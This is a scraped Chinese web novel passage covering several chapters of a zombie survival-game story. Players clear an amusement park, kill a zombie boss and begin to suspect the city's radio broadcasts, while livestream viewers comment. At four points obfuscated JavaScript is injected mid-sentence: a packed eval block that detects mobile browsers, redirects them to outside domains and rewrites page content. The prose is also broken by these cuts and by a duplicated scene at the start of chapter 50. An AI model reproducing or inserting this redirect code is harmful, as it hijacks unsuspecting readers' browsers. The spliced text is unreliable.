“我可以开园区小车把丧尸引诱着聚到一块。”陆寰说，“这样炸药能最大限度发挥威力。” “凭你那高到吓人的亲和力吗？”江显问。 “不，凭我对你们的信任。”陆寰再次面不改色说出一些不知真假但让人听了会大受感动的话。 “那我……” “我们需要你站在完全安全的高处统领全局，分析局势并迅速作出决策。”奥菲莉娅打断了江显说，“你很聪明，第一个副本里只有你一个人完成了解谜，并果断跳入海中摧毁那颗巨树。这说明你对副本的判断远超他人，这种事情我们都不擅长。” “你们队伍能在缺乏武力型玩家的情况下避开重重危险全员幸存，这表明你能通过各种蛛丝马迹来预判潜在危险。”克莱茵也赞同道，“这在大量丧尸包围的情况下是能够救命的能力。” “那个，其实我不用站在高处就能看到来着。”江显说。现在游乐场地图已经解锁了，她即使在非封闭建筑也能看到丧尸的数量和分布。“比起什么都不做，我觉得我更适合另一个地方。”她说。 “哪儿？” “游乐场的总控制台。”江显神秘一笑。 * 星际直播平台的氛围自第二个副本开始就十分沉闷。观众们眼睁睁地看着繁华的高科技城市之中，玩家们的直播画面一个又一个黑下去。分明是一座流光溢彩的不夜城，却危机四伏，稍不留神就一命呜呼。 比起上个副本那样毫无掩饰种类多样的怪物，这里一切的恶意和腐朽似乎都隐藏在了霓虹灯光之下。 时能听见时而无法收到的广播、无穷无尽的丧尸……仿佛一切的诡异都在编织着一张巨网，只待着收网的那一刻。 即便是有组织地讨论和集思广益，直到现在为止，还没有人能够搞明白副本的确切规则。 正在观众们消沉地浏览一队又一队玩家状况时，突然听到直播里传来了动感十足的音乐声。 谁？谁在这时候放音乐？所有人都疑惑了。 他们努力寻找着来源，终于在众多压抑灰蓝色的缩略图种看到了一个金光闪闪的窗口。 观众们疑惑地点进去，就见张灯结彩的背景下，陆寰开着一列五彩斑斓的小火车飞快穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706148|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梭，他身后的背景里，海盗船正在自律刻苦地做钟摆运动。 画面拉近，就见身着黑风衣和这里气氛格格不入的克莱茵坐在海盗船上，并朝地面高空抛物。每一次海盗船都在滚滚的火光里从最低点荡向高空，伴随着数十只丧尸在这不文明行为里当场毙命。 观众：？ 死寂许久的弹幕立刻又活跃起来了： [他们这是在……游乐园？] [我天呢，大家都在杀丧尸和城市逃亡，他们怎么再次反其道而行去玩游乐园了？……我靠他们居然是在游乐场杀丧尸。] 画面一转，就见一身漆黑的奥菲莉娅正把狙击枪从摩天轮的座舱窗口伸出来。 观众：！ 黑洞洞的枪口直指他们，即使只是在屏幕上那杀气也让他们一身冷汗。 摩天轮正以缓慢的速度持续旋转，奥菲莉娅却似乎完全不受自身移动干扰似得，一枪一个地解决着陆寰身后追得太紧的丧尸。她每开一枪，巨大的后座力都震得整个厢座猛烈摇晃，简直像是要飞出去了。 更令人眼前一黑的还在后面，设备机械总控制台上的江显此刻正拿着个大型扩音喇叭，神采奕奕中气十足地指挥着：“机关枪射手注意机关枪射手注意，现在在你的二点钟方向出现了5只丧尸；樱桃炸弹注意樱桃炸弹注意，速速解决现在聚集在海盗船下的20只丧尸；向日葵你好，向日葵快跑，机关枪射手请你保护我方向日葵…………” 全体观众：？？？ 这么欢脱，他们是走错了片场，一定是这样的吧？！ 眼看着奥菲莉娅乘坐的那个厢座升到了最高处，江显摁下了摩天轮的暂停键，这样就能为她的狙击提供最佳视野和稳定性了。 在她的部署和协调下，针对丧尸的屠杀正极其顺利地推进着。 成片成片的丧尸被陆寰聚拢到海盗船下，然后在爆炸声里灰飞烟灭。在园区小车身后，狙击枪的炮火一声一声庆祝着，仿佛是什么极其稀有的礼炮。 江显本身也没闲着。 她的技能使她不用看就能精准获取所有丧尸的方位，这便允许她分出些注意力去干别的事情：比如灵活地操纵过山车碾压误入轨道的丧尸、远程驾驶卡丁车以最高时速把丧尸黏在墙上、让弹簧床发生故障送丧尸上天………… 在看到操作台上一个名叫“花车游行”的按钮后，她甚至直接发起了一场花车游行。 几分钟后自动驾驶的花车队列从休息区驶离，庞大的队伍有序轧上园区道路；上面硕大的卡通人物机器人像是被打上了发条一样转圈并朝丧尸飞吻，目睹着他们成为肉饼；随行机械玩偶们陀螺似地跳舞旋转着行进，脸上咧着没有变化的标准僵硬微笑。 爆炸和枪响弥漫在这座游乐园之中，成为欢乐音乐的点缀；火光没能压过令人眼花缭乱的金色灯光，成为了其中的一份子；丧尸们仿佛也只是参与其中的狂欢节演员，癫狂地奔跑嚎叫又扑倒在地上。 观众们被这场声势浩大的游行惊呆了，纷纷失语。 许久之后，终于有人发了一句： [他们真的不是去那里释放天性的吗？] 49. 末日迷宫3 四人合作起来效率奇高，碎片数量飞速上涨着。 但是这游乐场的丧尸仿佛无穷无尽一样。他们奋战了数小时，却依旧有丧尸源源不断从四周涌过来。 江显看着界面上那数小时内从“500”飙升到“1500”的碎片积分收集数目，这里有九成都是他们小队的杰作。 这里的占地面积并不太大，即使是整个游乐园也很难容纳这么多数目的丧尸。这意味着他们必然是从其他地方聚集过来的。 丧尸会这样自行地大规模聚集吗？她认为这样的可能性并不大。 他们一开始在航站楼里夺路而逃时，撑死了也只会惊动附近百米内的丧尸；先前无论是在道路上堵车还是在商场内逐个击破都与这一规律不冲突。 否则以他们当时闹出的动静，早就被几百只丧尸包围和分食了。 莫非就像是有什么东西在控制着城市里所有自动化设备的运转一样，也有什么在控制着这些丧尸的动向。 这个猜测显然比较可靠。江显猛然地回想起先前在商场里时候，她和陆寰在扶梯上被两只精英丧尸和众多普通丧尸围追堵截的情景。 当时她就觉得很奇怪，那种场景就好像是原本指挥凭借着本能行动和狩猎、毫无思维能力的丧尸突然开窍了一样，竟能够有组织地进行围捕。 那么，如果的确有什么能看操控这些丧尸的东西存在，那他必然在那时候就在观察和试探他们了；更可能的是他之后就从未离开过，一路跟踪他们来到游乐场。 江显很庆幸她有个能够读出人物属性的作弊技能，否则她的第一怀疑对象必然是不久前才和他们联手的奥菲莉娅及克莱茵。 怀疑的种子一旦种下便很难再消除，她很难想象这样下去会发生什么。 而现在，她能够毫无顾忌地把这俩人从怀疑名单上划去。 江显一边在控制台上控制着机器，一边密切在分布图上关注丧尸们的动向。 在持续观察了数十分钟后，她悚然发现丧尸们的包围圈正在不断缩窄。 一开始他们还是毫无规律地分散在游乐园各个角落，需要靠陆寰去“引诱”他们聚集；现在却已经变成了他们自发包围摩天轮和海盗船，仰着头眼巴巴看着高处的玩家。 江显心里升起一股不祥的预感。 她走到控制台边缘朝下方看去，果然下面也是黑压压一片丧尸。他们正伸出手扒拉着控制台，爪子在上面留下一道道抓痕。 江显的出现仿佛是某种催化剂，让那些丧尸骚动了起来，齐声尖叫。 江显飞速退回了控制台中央。 “有人在控制这些丧尸！他的目的是将我们分割、逐个击破！”江显拿着扩音喇叭高声提醒，“大家尽量集中起来！” 她话音刚落，就见丧尸分布图视野里闯入一个比先前大两三倍的彩色光点，正以飞快的速度从地图边缘朝中央移动。 “小boss级别的丧尸！”即使还未直接看到，江显已然做出了判断，“一定是小boss在组织其他丧尸的攻势，我们得集火将他率先击破，否则必将被卷入无休止的鏖战之中！…………小心！小boss朝游乐园中心的方向去了！” 江显这里的控制台离其他游乐设施都有一段距离，因此只能从操控室里监控大屏幕上看到队友们的战况。 她的视线飞快地在那些大屏幕上扫过，试图将那只硕大的丧尸从丧尸群里揪出来。 没有——没有……还是没有！ 江显不信邪，把所有监控画面又从头到尾仔仔细细搜寻了一遍——的确没有，现在这群丧尸里连【强壮的丧尸】都很少，更别提什么更为庞大和危险的存在了。 难道说小boss级别的丧尸还具有隐身的能力，因此无法被摄像头捕捉道？还是说这个级别的丧尸有着很高智商，在反侦查意识的帮助下完美躲过了所有摄像头的捕捉范围？毕竟只要是监控探头就必然存在死角………… 江显警惕感骤增，她不敢疏忽，对照着分布图上彩色巨点的移动路径和各处监控画面重新检查。 但是没有用，丧尸太过密集，那些在监控画面下攒动的普通丧尸本身对于搜索就是一种强力干扰。江显能够在画面上将【游荡的丧尸】和【强壮的丧尸】区分开来是因为他们的体型外貌存在着明显差异，可是显而易见这对于小boss而言是不适用的。 另一边，摩天轮顶端厢座上的奥菲莉娅在听到江显的喇叭提示后，正借着狙击枪上的瞄准镜，飞速寻找所谓小boss。 瞄准镜扫过一排又一排千篇一律的呆滞表情，除此之外再无更多。奥菲莉娅已经尽她所能把周围都排查了个遍，依然没能发现端倪。 “小boss在摩天轮摩天轮的方向前进！” 她听到江显提示道。 奥菲莉娅心头警铃大作，直觉告诉她那只丧尸是朝她去的。杀手的战斗本能在一瞬间让她进入了高度戒备状态，现在她全身肌肉紧绷，手指就摁在狙击枪的扳机上随时准备扣下。 “150米左右！他在旋转木马边经过！” 奥菲莉娅将视野移到旋转木马，却只能看到一片闪烁的彩灯和童话一样的彩色小马。 “80米！他径直掠过了海盗船！” 她闻言赶忙将视野追踪过去。陆寰已经抛弃了那辆园区小车，在克莱茵的帮助下登上了海盗船。 现在控制台的江显已经更改了海盗船的模式，整个船身不再左右摇摆，而是静止在十米的高空处。这样下面的丧尸再如何跳跃也无法危及他们。 “十几米……不！那只丧尸现在就在你正下方！”奥菲莉娅听到江显说道。 她朝地面看去，那些仰头的丧尸中并没有什么令人望而生畏的大家伙，唯一有些不同的是其中穿着死亡荧光绿的一只。 这样苛刻的颜色将他本就灰白浮肿的皮肤衬得更加暗沉，俨然是穿衣的反面教材。 奥菲莉娅刚想将他略过去，却猛然意识到不对劲—— 其他丧尸的衣服大都破破烂烂落满灰尘，怎么唯独他身上的还完好无损、甚至还反着光？！ 下一刻，她看到荧光绿丧尸咧开嘴，朝她露出一个神秘的微笑。 “就是那只绿色丧尸！他是小boss！”江显在喇叭里大喊。 她在监控大屏上也发现了异常，但是由于是通过监控间接而非直接观察，她的那个读人物属性技能无法生效，因此她无法获知关于小boss技能和特性的信息。 江显正看着，却见小boss竟朝着摄像头的方向转过脸，口型变化着似乎在说什么。 江显的心在一点一点冷下来。 她读出了那个口型。 那只丧尸在说：“你好啊。” 下一句是：和我一起永生吧。 奥菲莉娅反应飞快，早在意识到荧光绿丧尸就是小boss后，她就已经采取了行动从厢座里翻出来。 她的狙击枪子弹在刚刚的激战里耗尽了，现在她只能左右手各持一把手枪朝丧尸发动进攻。 她瞄准小boss左右开弓，荧光绿在黑夜里简直像是活靶子，她又有100%命中的技能，按理说将其击败并不难；可惜不断有丧尸在千钧一发之际挡在小boss身前“自我牺牲”。 奥菲莉娅不会天真地认为他们是自愿的，结合先前种种迹象不难猜出是小boss操控他们当替死鬼。 奥菲莉娅的技能再厉害也无法违背物理学规律让子弹拐弯，数次攻击都被突然窜出的普通丧尸挡住了。 就当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720688|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她重新瞄准，想要再度发动袭击时，突然，脚下一阵猛烈的晃动！ 几只丧尸一头撞在了摩天轮的地面支架上。他们就这样一下接一下地进行自杀性攻击，直到本就已经腐烂的头颅彻底炸开。 奥菲莉娅看着眼前增长的地图碎片，感到一种荒唐。 普通丧尸们仍在锲而不舍地撞击着，甚至几只【强壮的丧尸】也加入了其中。摩天轮摇晃的幅度越来越大，所有车车厢都在猛烈摆动。 奥菲莉娅一枪一个解决着那些被操纵赴死的丧尸。可是他们数量太多，但凡有一个遗漏，摩天轮支柱就会遭受一次创伤。现在底部的承重杆已经瘪进去一大块，受力不均使得整个大转盘都在缓缓向一侧倾斜。 “尽快解决那只小boss！”监控大屏前的江显将一切尽收眼中，指挥道。 摩天轮转盘在一点一点下沉，现在所有车厢都耷拉了下来，仿佛是一只歪斜着的圆环晾衣架。 奥菲莉娅爬到车厢顶端以避免被困其中。她身手矫健，竟把车厢当作台阶似得，从高处车厢一级一级往下跳跃，很快就转移到了圆盘最低端。 整个摩天轮都已经呈90度倾斜，摇摇欲坠，支撑底柱断裂后电线被绷直又拉断，电火花一闪一跳，转盘上陷入一片漆黑。 小boss失去了目标，茫然地四下张望。下一刻一道黑影从他眼前掠过，刀刃上闪烁着远处旋转木马的灯光朝他脖子抹去！ 奥菲莉娅直接从半空中跳了下来！她借力反蹬，就这样直直从高处坠落，刀锋直取丧尸首级！ 两只普通丧尸被当作替死鬼使唤，紧急扑在了前面。刀刃势头不减，势如破竹将两只丧尸都斩灭。 “小心摩天轮！！”江显在喇叭里大喊。 奥菲莉娅仰头，正好看到头顶的钢铁支架在垮塌和坠落。在地上翻滚数圈以避开砸落的钢条和厢座。 巨响声中，摩天轮轰然倒塌。 奥菲莉娅迅速起身，刚要拔枪对准身后的废墟，却听江显大声警告：“快远离那里！” 她来不及思考，身体已经本能地作出反应，用尽全力朝旁边跃出！ 电火花迸溅！ 摩天轮残骸在刺目的光芒中绽放开来，被炸上高空的零件纷纷落下，到处都是密集的、拖着长长尾巴的火雨。 奥菲莉娅被爆炸的余波送向更远处，所幸也因此避开了那些纷纷砸下的燃烧零件。 地面正在震颤，奥菲莉娅心有余悸地看着不远处那团正在熊熊燃烧的火焰。她还能在其中隐隐约约看到那团抓眼的荧光绿。丧尸的身体是把好的燃料，火焰烧到时猛地往高里窜了一大截。 小boss丧尸正在火堆里发出凄厉的尖叫，恶毒地咒骂着他们。周围所有的丧尸却像是失去指挥一样，重新恢复了各自为营的分散状态。 火光在她的眼里闪烁，奥菲莉娅注视着那冲天的火光，神色凝重。 小boss丧尸究竟是什么？为什么他能够说话能够思考，还能够指挥其他丧尸？ 一只普通丧尸趁她微愣，摇摇晃晃走过去要趁人之危。奥菲莉娅头也不回地伸手一挥，丧尸的脑袋就掉在了地上。 眼下暂时无机会考虑这些，奥菲莉娅只得先收拾残局解决那些虾兵蟹将。她的同伴们都已经投入了战斗。 失去指挥的丧尸们犹如一团散沙，很快就被四人玩弄于鼓掌之中，在各种包围和陷阱中化为飞灰。 当四人在操控台会合的时候，他们收到了一条系统消息： 【系统公告：‘文化娱乐中心’全体丧尸已被肃清，其中包含小boss级别1只，精英级别20只，普通级别595只（此消息全体玩家可见）】 “我们居然清扫了整个城市功能区的丧尸。”江显面露异色。 50. 末日迷宫14 电火花迸溅！ 摩天轮残骸在刺目的光芒中绽放开来，被炸上高空的零件纷纷落下，到处都是密集的、拖着长长尾巴的火雨。 奥菲莉娅被爆炸的余波送向更远处，所幸也因此避开了那些纷纷砸下的燃烧零件。 地面正在震颤，奥菲莉娅心有余悸地看着不远处那团正在熊熊燃烧的火焰。她还能在其中隐隐约约看到那团抓眼的荧光绿。丧尸的身体是把好的燃料，火焰烧到时猛地往高里窜了一大截。 小boss丧尸正在火堆里发出凄厉的尖叫，恶毒地咒骂着他们。周围所有的丧尸却像是失去指挥一样，重新恢复了各自为营的分散状态。 火光在她的眼里闪烁，奥菲莉娅注视着那冲天的火光，神色凝重。 小boss丧尸究竟是什么？为什么他能够说话能够思考，还能够指挥其他丧尸？ 一只普通丧尸趁她微愣，摇摇晃晃走过去要趁人之危。奥菲莉娅头也不回地伸手一挥，丧尸的脑袋就掉在了地上。 眼下暂时无机会考虑这些，奥菲莉娅只得先收拾残局解决那些虾兵蟹将。她的同伴们都已经投入了战斗。 失去指挥的丧尸们犹如一团散沙，很快就被四人玩弄于鼓掌之中，在各种包围和陷阱中化为飞灰。 当四人在操控台会合的时候，他们收到了一条系统消息： 【系统公告：‘文化娱乐中心’全体丧尸已被肃清，其中包含小boss级别1只，精英级别20只，普通级别595只（此消息全体玩家可见）】 “我们居然清扫了整个城市功能区的丧尸。”江显面露异色。 三人默默将视线集中在奥菲莉娅身上，没有她恐怖的作战能力他们不可能幸存至今。 “多亏你的技能。”奥菲莉娅冲江显点了下头，“我没有看错，你的确是一个好的指挥者。” 说完这句话，她径直走到旁边，倚靠着栏杆席地而坐休息，显然在这场大战中消耗了不少体力。 天空已经泛起了鱼肚白，游乐园灯光正在成片成片自动关闭，摩天轮废墟上升起浓重的黑烟，像是要把天空重新熏黑。 然后太阳再度升了起来，照进每个人的眼睛。 “下一步干什么，总指挥？”陆寰朝江显踱步过来，“回商场吗？” “回商场拿补给。”江显说道。 历经大半夜鏖战，他们所有的资源都已经见底，怕是连回去路上都不够了。 所幸他们清除了整个区域的丧尸，倒不用担心回程路上被包围而陷入绝境。 “在那之后呢？”克莱茵也问她。 江显打量了一番地图道：“游乐园本来就位于【娱乐文化中心】最北部。我们继续往北，尝试看看邻近那块区域是不是和【市政中心】接壤。” 他们先前在听到求助广播后已经解锁了一小片广播电台，现在所需完成的不过是将那一区域与他们目前已点亮的范围连起来。 “以及……可能的话看看地图上的‘城市博物馆’到底在哪里。”江显思来想去，还是很在意刚刚在路上途径博物馆这件事。 众人皆赞成，一时间所有人都在忙着点亮地图。 江显注视着那张公共地图，颜色正在其上蔓延和扩张；地图中央空白的画面上建筑和纵横交错的道路正在显出形状。 城市分区【监控中心与广告投放中心】已完全解锁！ 系统提示音响起。 他们四人小队这一夜积攒的积分足有一千多。现在包括先前的【文化娱乐中心】，他们解锁了2个分区，使得地图中央大部分区域都清晰地展现在眼前。 江显仔细端详着那些已被点亮的地方：城市博物馆并不在其中。而目前为止他们已经把【娱乐文化中心】周围一带都解锁了。再上面那块没开全的属于【市政中心】。这意味着他们不可能在经过博物馆之后抵达游乐园。 那么问题出现了：他们刚刚在悬浮列车上途径的“城市博物馆”到底是什么东西？ 四人都意识到了这个问题，无言对视时眼里的凝重不言而喻。 现在除了“这座城市的建筑会自由移动”这种见鬼的扯淡说法，他们找不出其他合理解释。 末日迷宫，末日迷宫，原来是这个意思。 奥菲莉娅“啧”了一声，强大如她也没见识过这样诡异的局面。 “要不……我们待会回程途中去那所谓的博物馆逛一圈？”陆寰提议，“反正……整个区域内的丧尸都被我们清理干净了，应该不会出事。” “去看看吧。”克莱茵擦了擦眼镜一脸疲惫，“我从现在开始再合成一点炸药以防不时之需。” 四人稍作休整，再度马不停蹄地朝着悬浮车站的地方赶去。 空荡荡的车厢里，四人并排坐着。阳光透过车窗玻璃尽情挥洒在他们脸上，他们心里却沉甸甸。 “如果那里确实是个博物馆，你会怎么解释？”江显问坐在一旁的陆寰。 “地图出错了？”陆寰微微蹙眉。阳光把他的脸照得近乎透明了，眼眸像是聚光灯下展出的琥珀。 “好潦草的理由。”江显说。 “看来你还是宁愿相信这座城市连建筑都长脚了。”陆寰说。 “我们先前解锁了广播电台的一部分地图，那些求救者们却仍然大概率没能逃出，这似乎侧面证实了这一点。”江显分析说道，“不管怎么说，地图有问题——至少我们看到的东西和地图上标注的并不完全一样。” “想到解释了吗？”陆寰问。 “没有。但我个人认为‘地图有误’这样明显而充满恶意的设定出现概率不大。毕竟杀死丧尸收集地图可以说是这一副本最重要的任务之一。如果连地图本身都是错的且无法更正，那收集地图这个举动就彻底失去意义了。” “上一个副本已经表明，副本不可能设置必死的局面，一定有什么我们遗漏掉的细节。”江显说，“退一万步来说，就算地图真的是错误的，那必然存在什么方法可以纠正和更改它，使之恢复正常。等前往图书馆和广播电台时候我们应该能获取更多线索。” 她另一边的奥菲莉娅深以为然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们就这样顺畅无阻地走出车站走上街道，顺着指示牌的方向前往那座本不该位于【文化娱乐中心】区域的博物馆。 街道倒不像是车站那样冷清。恰恰相反，现在正值早高峰时期，他们再次目睹浩浩荡荡的自动驾驶车辆把整条街堵得水泄不通，暴躁的喇叭声此起彼伏。 “一座只有丧尸的城市里到底要这么多自动化设备干什么？”克莱茵眼看着前面的信号灯从绿色跳到红色，语气里透着不耐烦。他倒是严谨，现在一边走路还在一边用技能合成炸药，江显能明显看到他的精神波动起起落落。 “我们从一来到这座城市就开始思考这个问题了。”陆寰无辜地耸耸肩往前走，“我们已经数次差点因这些有想法的小车卷入交通事故了。” “看，到了。”奥菲莉娅突然说道。 其余三人皆回过神，就见出现在他们面前的是一座写有“城市博物馆”字牌的宏伟建筑，金色的外壳在阳光下反射着强光。 四人组对视一眼，沿着台阶走进了博物馆大门。 几分钟后他们在前厅参观了一圈，又从出口离开。 “好极了。”江显说道，“现在我们有一个好消息和一个坏消息了。” “好消息是，博物馆里没有丧尸，这一片区域的丧尸确实被清理干净了。” “坏消息是，这确实是本应该位于其他区域的博物馆。” 现在他们知道副本名字所谓的含义了。 这是一座彻头彻尾的末日迷宫。 51. 末日迷宫15 [居然连江姐他们这样全队大佬的配置都没能解答地图为何存在问题] [我们是观众，约等于拥有全知视角，能够看到不同的小队进度。即便是这样我们尚且束手无策，更何况是局中人呢！] [我实在想不通为什么地图会出现这样大的问题。从刚刚江姐的反应来看，这似乎根本不是什么一条道路画错的问题了，而是未知的建筑群大范围出现……] [这已经不是第一组遇到地图问题了。刚刚另一组更惨，他们在发现问题后仍然选择相信地图，结果被地图所误导。现在他们已经全军覆没了……] [这座城市到底怎么回事啊，如果地图是错误的那还有什么收集必要？我看幕后主使就是存心要让玩家们团灭！] [话说有人搞明白副本直播幕后主使到底是谁了吗？怎么官方到现在也压着消息啊！] [不只是直播发起者没搞明白，连绿松石星上到底发生了什么都还没消息呢……] 一番谈论后，观众们聚集在弹幕区发出感慨： [哎，还是得看江姐他们的更多探索啊] [是啊，如果说玩家是我们在副本里的眼睛，那江姐他们无疑是最灵敏的一双……总能带着我们在最快时间里发现真相、看到更远处。] [我头一次感觉到有一种视线透不进副本的无力感……] [照你这么说，玩家好像是照射副本的X光一样。只有借助于他们，我们才能看到那些副本内的、原本我们看不到的东西。] [江姐就是X光一样的女人！加油冲鸭！] ……… 某X光一样的女人已经很努力了。他们在飞速探查了一下博物馆，确定它是真实存在的之后，就乘着悬浮列车返回商业中心补充装备了。 现在奥菲莉娅正在把玩着刚刚从装备店里顺来的一把匕首，一副爱不释手的模样；其他人则坐在沙发和椅子上趁机补充食物。 大战过后最是需要补充体力的时候。 他们这是在超市的家具区，江显带他们来时可谓是轻车熟路。 克莱茵拿着餐刀正把奶酪涂上一片面包，然后斯文地咀嚼着，吃完后甚至讲究地拿纸巾叠一下抹一下嘴。 “这的确要比上一个副本好多了。”他感慨道，“上一个副本里除了令人作呕的压缩饼干什么也没有——它们只配被用来榨油做炸药！” “话说你们上一个副本的任务是什么？”江显问道。 先前他们忙着刷怪没能仔细交谈，此刻趁着调整的空挡正好可以交换信息。 “寻找失落之海。”奥菲莉娅说，“但我们同时还卷入了一些麻烦。我们的人物设定是一群叛逃的生物学家，因此我们在树林里不能被其他同事——也就是那些npc抓住。” 克莱茵苦笑：“我们从头到尾都很狼狈，谁能想到刚一进副本，还没集合时有玩家就死了，npc假扮他们混在玩家中间？” “我们一开始没想到这点就没有仔细盘查；等到后来意识到问题的时候就太晚了，恐慌彻底弥漫，玩家们根本无法相互信任和合作，被逐个击破。” “我们就这样被卷入了无休止的内讧和混乱中，根本没时间走支线。再后来我们意识到要在最终boss复苏前前往科考站——也就是船上。这才在最后关头撑了过去。” 克莱茵看向江显：“你们难道没有遇到过类似的状况吗？当时我们在商场出现时你似乎一点也不怀疑我们的玩家身份。” 话才刚说完，他又猛然想起她那个技能的事情，意识到自己的问题很可笑。 “说句实话，当时提示第一副本完成时我着实高兴了好一会儿。”克莱茵叹了口气，“我还以为马上就能回到现实了，谁知道所谓的‘脱离副本’其实是‘进入下一副本’的意思。” “看起来现实里有你无法割舍的东西。”奥菲莉娅说。 “谁说不是呢？”克莱茵无奈摇头，“倘若不是归心似箭买了红眼航班，遇上这茬事；我现在已经在家里露台上用自制小玩意放烟花了。” “有格调的该死公子哥。”奥菲莉娅评价道，“你就没有点别的人生追求吗？” “能够衣食无忧地玩我的新型爆炸装备，其他一律撒手不管？”克莱茵答道，“其实我从小最大的梦想就是研究出超厉害的新型爆炸装备，并把它改装后和手表、光脑，各种电子设备融合起来。然后卖给那些那些星际杀手特务。他们一定会追捧至极的。” 奥菲莉娅：………… 好像也没错。 克莱茵继续说：“总而言之，我是个没啥远大志向的，一点也不想被卷入这种奇怪的冒险中。” 奥菲莉娅揭穿了他：“来都来了，该你出力时也没见你偷懒过。” 克莱茵：“…………” 江显听着他们的互怼在一旁偷笑。 “兹拉兹拉。” 又来？ 再次突然出现的电流杂音让所有人都停止了交谈。这一次大家倒是见怪不怪，默契地安静等待着后文。 “有人在听吗？有人在听吗？我们小队现在正在城市中心的广播电台大厅里说话。”说话的是一个女声。 “我们刚刚从【商业娱乐中心】离开，不料却在半途遭到了丧尸的袭击。我们来不及解锁地图，慌不择路之下就误打误撞跑进了广播大楼。” “我们先前得知，图书馆内有着关于城市的重要线索！很可能隐藏着副本真相！请大家尽快前往完成剩余探索，我们先前无奈错过了那里，现在被困在大楼里无法出去。” “请大家务必相信我们的话，图书馆的线索至关重要！” “如果有谁有能力前往那片区域的话，请一定要前去。那关系着我们所有玩家的存亡！” 广播又“刺啦刺啦”响了一阵，就没声音了。” “他们从【商业娱乐中心】离开？”克莱茵难以置信，“他们什么时候从【商业娱乐中心】，我们竟没有见到？ 他说的“没有见到”，是说当时附近地图上没看到其他队伍在解锁区域。 “唯一的解释是，他们是在我们前往游乐场那段时间离开这一区域，并逃向其他区的。”奥菲莉亚分析道。 也只有那段时间他们因为忙于战斗没有关注地图变化。 “难道说，是小boss控制丧尸们包围我们时恰好误伤了他们，使他们被迫逃出这个区？”克莱茵勉强给整个事情圆了个合理因果。 江显摇摇头，表示她也不知。 “比起那些‘玩家’为何没和我们遇上，我现在更疑惑的点在于，在那所谓‘广播大厅’朝我们说话的……真的是玩家吗？”她自言自语道。 音量不大的一句话，所有人却都觉得背后一凉。 一瞬间的震惊之后，大家都意识到江显的担忧并非是空穴来风。 就拿先前他们在听到求救信号后分明帮忙解锁了地图，而广播里那些人却视若无睹来说——一群处在生死攸关并奋力求助的人肯定会时时紧盯着公共地图唯一的希望才对，怎么会忽略这么显而易见的变化？ 而现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14794538|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在，广播里的人自称是和他们诡异地“擦肩而过”。但细细一想就会发现，其实没有真正的目击者能够证实那些人真的来过【商业娱乐中心】。 甚至没有人能够证实他们的存在。 几人对视着，眼里满是惊骇。 “如果不是玩家……那会是什么？”陆寰皱眉。 “你们也看到了，这座城市的各种智能设备似乎都有着自己的想法。”江显冷不丁来了一句，“不知你们听说过这样一个恐怖故事没有——在雪地里，熊会直立行走，远远看上去就像是落单的人类。好心人走过去救助‘同类’，然后就这样落入陷阱被吃掉。” “你的意思是……城市中心的广播也是智能的——是它在模仿玩家们说话，从而误导我们落入陷阱？”奥菲莉亚若有所思，“可是如果是机器在说话，机器为什么要引我们去图书馆？我是说我们之前曾推测过图书馆或许藏着线索。智能机器这么干岂不是相当于变相给我们指了方向？” “如果关于广播的猜测是正确的，先前那个求助我们解锁地图的声音倒是可以解释了。”克莱茵似是猛然意识到什么，“智能设备模仿人类玩家的声音求助，以此消耗我们这些好心玩家手里的碎片——如果我们不幸被包围、配置没有现在强、又因为一时好心没有足够碎片解锁地图逃生，无疑会全军覆没。” “而后面那几句惊恐的惨叫，或许只是为了让我们产生恐惧、扰乱人心罢了。”他沉声。 他的说法不无道理。大家愈发觉得广播是智能设备们的骗局了。 殊不知此话一出，此刻星际直播间里弹幕已经快爆满了。 [天哪！这次他们可是大错特错了！广播里说话的可都是真实存在的人啊！] [对啊，我刚刚才从那个提醒大家去图书馆的女玩家直播间里出来，她所说的都是真的！他们确实曾去过商场那里休息，离开时很不巧碰到了大队丧尸。后面的叙述也完全对得上！] [对对，先前向他们求助碎片解锁地图的也完全是真人真事！那队玩家是真的走投无路了，后来我眼睁睁看着他们全军覆没了。] [要我说，江姐他们这次也太谨慎了，盘线索盘着盘着居然得出一个“广播是诈骗”的结论。] [害，毕竟江姐也不是神，犯点错误也很正常。更何况他们不像我们这样有全知视角啊……] [不知道有一句话该不该说……其实我觉得江姐这人性格底色挺冷漠的……她听到广播第一反应居然是质疑而不是其他什么。谁会无聊到拿自己生死开玩笑啊！] [楼上的别太离谱！什么时候为求自保谨慎行事也是种错了？] ……………… 